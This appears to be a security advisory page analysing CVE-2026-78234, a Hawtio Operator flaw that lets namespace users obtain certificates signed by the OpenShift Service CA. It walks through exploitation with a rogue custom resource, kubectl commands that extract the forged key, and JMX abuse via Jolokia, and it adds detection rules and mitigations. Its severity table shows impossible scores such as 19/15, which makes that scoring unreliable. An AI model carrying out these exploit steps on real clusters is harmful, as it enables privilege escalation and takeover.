Skip to content
Hermes Codex

CVE-2026-78234: Hawtio Operator OpenShift Service CA Signing Key Theft and Cluster Takeover

HERMES

HERMES THREAT SCORE & CLUSTER-WIDE IDENTITY FORGERY

Target: OpenShift / Kubernetes Cluster — Hawtio Operator & Jolokia Service CA Fabric
Confidence: 98%
95 / 100
EXTREME

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 18 / 20
Weaponization 19 / 20
Exposure 18 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 20 / 20
⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-78234 as 9.9 Critical with Scope Changed (S:C) and Privileges Required Low (PR:L). Hermes Threat Score 95 (EXTREME) mirrors the catastrophic blast radius in multi-tenant enterprise clusters. OpenShift cluster defaults automatically aggregate Hawtio Custom Resource Definition (CRD) permissions into standard 'edit' and 'admin' namespace roles. Consequently, any compromised development container, developer service account, or tenant namespace user can leverage the operator as a cryptographic signing oracle to forge valid mTLS certificates for arbitrary identities, collapsing cross-namespace boundaries and taking over cluster infrastructure.

HASS

HASS AGENTIC SEVERITY & OPERATOR ORACLE ABUSE

Target: Cloud-Native Operator Automation, Service CA Signing Key & Mutual TLS Authentication
Confidence: 95%
88 / 100
CRITICAL

Measures specific systemic risk arising from autonomy, tool authority, and cascading execution.

Dimension Breakdown
Autonomy 17 / 20
Tool Access 18 / 20
Privilege 19 / 15
Persistence 17 / 15
External Impact 18 / 15
Propagation 18 / 15
⚖️ Divergence & Operational Rationale

From an autonomous infrastructure perspective, operators function as automated high-privilege agents reconciling desired state against cloud APIs. When an operator possesses cluster-scoped cryptographic keys but delegates parameter configuration to untrusted namespaced tenants without rigorous subject validation, it functions as an uncontrolled signing oracle. Autonomous agent swarms operating inside a Kubernetes cluster can exploit this oracle to elevate privileges to cluster-admin, pivoting across workloads without triggering standard audit alarms.

1. Technical Context & Attack Surface

Section titled “1. Technical Context & Attack Surface”

In Red Hat OpenShift, the Service CA operator automatically injects TLS certificates for in-cluster services and signs client certificates used for service-to-service authentication. Components like Jolokia agents, Prometheus metrics endpoints, and internal microservice gateways trust certificates signed by the Service CA root.

┌────────────────────────────────────────────────────────────────────────────────────────┐
│                                KUBERNETES / OPENSHIFT CLUSTER                          │
├──────────────────────────────────────┬─────────────────────────────────────────────────┤
│ TENANT NAMESPACE (dev-namespace)     │ OPERATOR NAMESPACE (openshift-operators)        │
│                                      │                                                 │
│ [Attacker Pod / ServiceAccount]      │ [Hawtio Operator Pod]                           │
│  - Has 'edit' role in namespace      │  - Has ClusterRole with get/list secrets        │
│  - Creates Hawtio Custom Resource    │  - Reads 'signing-key' in openshift-service-ca  │
│    spec.auth.clientCert.commonName:  │                                                 │
│      "system:serviceaccount:..." ───┼────────────────────────────────────────┐        │
│                                      │                                        │        │
│                                      │ Hawtio Operator Controller             │        │
│                                      │ 1. Fetches root Service CA private key │        │
│                                      │ 2. Mints valid x509 cert for CN ───────┘        │
│                                      │ 3. Writes cert & key to tenant Secret           │
│                                      │                                                 │
│ [Forged Client Certificate Secret] <─┼─────────────────────────────────────────────────┤
│ Attacker extracts x509 cert & key    │ TARGET SERVICES (cluster-wide)                  │
│                                      │ - Jolokia JVM Management Agent (Port 8778)       │
│                                      │ - Internal Metrics & Administrative Endpoints   │
│                                      │                                                 │
│ Attacker connects with mTLS ─────────┼─────────────────────────────────────────────────>
│  -> IMPERSONATION SUCCESSFUL         │  -> FULL CODE INJECTION / ARBITRARY JMX ACTIONS │
└──────────────────────────────────────┴─────────────────────────────────────────────────┘
ParameterTechnical DetailOperational Impact
CVE IdentifierCVE-2026-78234Red Hat Advisory RHSA-2026:66120 / Bugzilla 2524894
Vulnerability ClassImproper Certificate Validation (CWE-295), Access Control Failure (CWE-284)Cluster-wide Service Impersonation & Privilege Escalation
Vulnerable Componenthawtio-operator reconciliation controller (pkg/controller/hawtio)Automated cryptographic certificate provisioning
Trigger VectorsCreation of a Hawtio Custom Resource with a forged commonNameNamespaced edit or admin RBAC role
Authentication RequiredLow (PR:L) — any namespace tenant with standard developer accessCross-namespace privilege escalation
ImpactArbitrary JVM command execution via Jolokia, cluster-wide mTLS bypassComplete compromise of managed workloads and secrets
Affected Versions< 4.0.1 (Operator) / < 4.4.1 (HawtIO)All clusters utilizing the Hawtio OpenShift operator
Remediated ReleaseHawtio Operator 4.0.1 / HawtIO 4.4.1Official Red Hat container registry and OperatorHub

2. Root Cause Analysis & Exploit Mechanics

Section titled “2. Root Cause Analysis & Exploit Mechanics”

The vulnerability is rooted in two intersecting design issues: an overly broad ClusterRole granting access to cluster secrets, and the total lack of Subject Alternative Name (SAN) and Common Name (CN) validation during certificate minting.

Flaw 1: Access to the Service CA Private Signing Key

Section titled “Flaw 1: Access to the Service CA Private Signing Key”

To facilitate communication between the Hawtio web client and managed Jolokia endpoints, the Hawtio operator was assigned the following ClusterRole:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: hawtio-operator
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get", "list", "create", "update", "watch"]

This permission allowed the operator pod to retrieve the secret signing-key in the openshift-service-ca namespace. The secret contains the unencrypted ECDSA/RSA private key of the cluster’s internal certificate authority.

Flaw 2: The Unvalidated Signing Oracle

Section titled “Flaw 2: The Unvalidated Signing Oracle”

When a user declares a Hawtio custom resource, the operator controller reconciles the manifest and generates the client TLS secret:

// Vulnerable controller logic in hawtio-operator
func (r *ReconcileHawtio) reconcileClientCertificate(hawtio *hawtioov1alpha1.Hawtio) error {
    caSecret, err := r.client.CoreV1().Secrets("openshift-service-ca").Get(context.TODO(), "signing-key", metav1.GetOptions{})
    if err != nil {
        return err
    }


    caCert, caKey := parseCASecret(caSecret)


    // FLAW: Arbitrary user-controlled CommonName without namespace binding or authorization check
    clientCN := hawtio.Spec.Auth.ClientCert.CommonName
    if clientCN == "" {
        clientCN = fmt.Sprintf("%s.%s.hawtio", hawtio.Name, hawtio.Namespace)
    }


    // Mint certificate using the cluster root Service CA
    certBytes, keyBytes, err := generateSignedCert(clientCN, caCert, caKey)


    // Write generated certificate into the user's namespace secret
    return r.createOrUpdateSecret(hawtio.Namespace, hawtio.Name+"-client-cert", certBytes, keyBytes)
}

Because clientCN can be explicitly set by the author of the CR, the attacker supplies the identity of a privileged management service or Jolokia administrative agent. The operator signs the certificate and saves it into <hawtio-name>-client-cert inside the attacker’s namespace, granting them instant access to the private key.

Flaw 3: RBAC Aggregation

Section titled “Flaw 3: RBAC Aggregation”

OpenShift CRDs can aggregate permissions into system roles. The Hawtio CRD included the label rbac.authorization.k8s.io/aggregate-to-edit: "true". Consequently, any standard developer assigned the default edit role in their own project namespace automatically held full rights to create and modify Hawtio CRs.

3. Exploit Execution Flow

Section titled “3. Exploit Execution Flow”

An attacker with namespace developer access executes the attack through the Kubernetes API:

  1. Namespace Reconnaissance: The attacker accesses a project namespace (dev-team) via an existing service account or compromised developer token:
    Terminal window
    kubectl auth can-i create hawtios -n dev-team
    # Returns: yes
  2. Adversarial Manifest Construction: The attacker crafts a Hawtio manifest specifying a target administrative service identity (e.g., system:serviceaccount:openshift-monitoring:prometheus-k8s or the cluster-wide Jolokia administrative CN): 
    apiVersion: hawt.io/v1alpha1
    kind: Hawtio
    metadata:
      name: rogue-hawtio
      namespace: dev-team
    spec:
      type: namespace
      auth:
        clientCert:
          commonName: "jolokia-admin"
  3. Triggering Reconciliation: The attacker applies the manifest via kubectl apply -f manifest.yaml.
  4. Oracle Execution: The hawtio-operator watches the creation event, reads the Service CA private key from openshift-service-ca/signing-key, signs the requested x509 certificate for CN=jolokia-admin, and deposits it in dev-team/rogue-hawtio-client-cert.
  5. Private Key Extraction: The attacker reads the secret from their namespace:
    Terminal window
    kubectl get secret rogue-hawtio-client-cert -n dev-team -o jsonpath='{.data.tls\.crt}' | base64 -d > client.crt
    kubectl get secret rogue-hawtio-client-cert -n dev-team -o jsonpath='{.data.tls\.key}' | base64 -d > client.key
  6. Cross-Cluster Lateral Movement: Armed with a valid Service CA certificate, the attacker establishes mTLS connections to internal Jolokia ports (https://<pod-ip>:8778/jolokia/) across any namespace, invoking JMX MBeans to execute arbitrary Java code and seize host control.

4. Forensic Investigation & Telemetry

Section titled “4. Forensic Investigation & Telemetry”

Investigating CVE-2026-78234 focuses on Kubernetes API server audit logs, Secret access telemetry, and Jolokia proxy access records.

Kubernetes Audit Log Analysis

Section titled “Kubernetes Audit Log Analysis”
  • Hawtio Custom Resource Creation: Inspect the Kubernetes API audit log for creation or update events of hawtios.hawt.io where the requested commonName deviates from standard namespace naming patterns: 
    {
      "verb": "create",
      "user": { "username": "developer@corp.local" },
      "objectRef": { "resource": "hawtios", "namespace": "dev-team", "name": "rogue-hawtio" },
      "requestObject": {
        "spec": { "auth": { "clientCert": { "commonName": "jolokia-admin" } } }
      }
    }
  • Service CA Secret Access: Review access logs for secrets in openshift-service-ca. While the Hawtio operator legitimate account will read this secret, look for correlated Hawtio CR creations in tenant namespaces immediately preceding the read event.

Workload & Network Telemetry

Section titled “Workload & Network Telemetry”
  • Jolokia mTLS Verification: Review application logs for pods hosting Jolokia agents (e.g., Camel, Quarkus, Spring Boot pods). Hunt for successful mTLS connections originating from unexpected pod IP ranges or unauthorized namespace subnets.
  • JMX Execution Artifacts: Monitor for anomalous JMX calls via Jolokia such as java.lang:type=Runtime.exec or JMX operations loading remote MBeans (javax.management.loading.MLet).

5. Detection Engineering

Section titled “5. Detection Engineering”
title: Suspicious CommonName in Hawtio Custom Resource Creation
id: e8417823-7823-4c92-9112-78234cve2026
status: experimental
description: Detects creation or modification of Hawtio CRs with non-standard CommonNames, indicating exploit attempts of CVE-2026-78234.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-78234
    - https://access.redhat.com/errata/RHSA-2026:66120
author: Hermes Codex Cyber Threat Intelligence
date: 2026-09-21
logsource:
    category: application
    product: kubernetes
    service: audit
detection:
    selection_api:
        objectRef.apiGroup: 'hawt.io'
        objectRef.resource: 'hawtios'
        verb:
            - 'create'
            - 'update'
            - 'patch'
    selection_suspicious_cn:
        requestObject.spec.auth.clientCert.commonName|contains:
            - 'admin'
            - 'system:'
            - 'root'
            - 'jolokia'
            - 'cluster'
    condition: selection_api and selection_suspicious_cn
falsepositives:
    - Approved administrative deployments explicitly configuring global monitoring dashboards
level: critical
tags:
    - attack.privilege_escalation
    - attack.t1548
    - cve.2026-78234

6. Mitigation & Hardening

Section titled “6. Mitigation & Hardening”

Immediate Remediation

Section titled “Immediate Remediation”
  • Upgrade Operator: Immediately update hawtio-operator to version 4.0.1 or later, and HawtIO images to 4.4.1+ (Red Hat advisory RHSA-2026:66120). The patched operator no longer reads the cluster Service CA signing key and delegates certificate management to the Kubernetes Certificates API (certificates.k8s.io) with strict signer validation.
  • Revoke Aggregated RBAC: If immediate patching is not possible, remove the aggregated edit and admin cluster role bindings to prevent standard users from creating Hawtio resources:
    Terminal window
    kubectl annotate crd hawtios.hawt.io rbac.authorization.k8s.io/aggregate-to-edit-
    kubectl annotate crd hawtios.hawt.io rbac.authorization.k8s.io/aggregate-to-admin-

Architectural Hardening

Section titled “Architectural Hardening”
  • Kubernetes Admission Control: Deploy an admission policy (Kyverno or OPA Gatekeeper) enforcing that spec.auth.clientCert.commonName must match <metadata.name>.<metadata.namespace>.hawtio or be rejected.
  • PKI Segmentation: Avoid using cluster-wide Service CAs for application-level monitoring consoles. Enforce dedicated, short-lived certificate signers scoped strictly to individual workloads. Review our technical analysis: Active Directory Certificate Services & PKI Exploitation.

7. Strategic Cross-References & Internal Links

Section titled “7. Strategic Cross-References & Internal Links”
Apache Camel K Master Trait YAML Injection (CVE-2026-80352) Exploration of Kubernetes operator privilege escalation via custom resource trait manipulation.
Apache Camel K Multi-Tenant Authorization Bypass (CVE-2026-80354) Cross-namespace secret leakage and privilege escalation in cloud-native integration operators.
ADCS & PKI Exploitation Foundations Core principles of cryptographic certificate abuse, SAN impersonation, and identity forgery.
MITRE ATT&CK DFIR Paradigm Operational mapping of privilege escalation, lateral movement, and defense evasion techniques.

SOURCES

Section titled “SOURCES”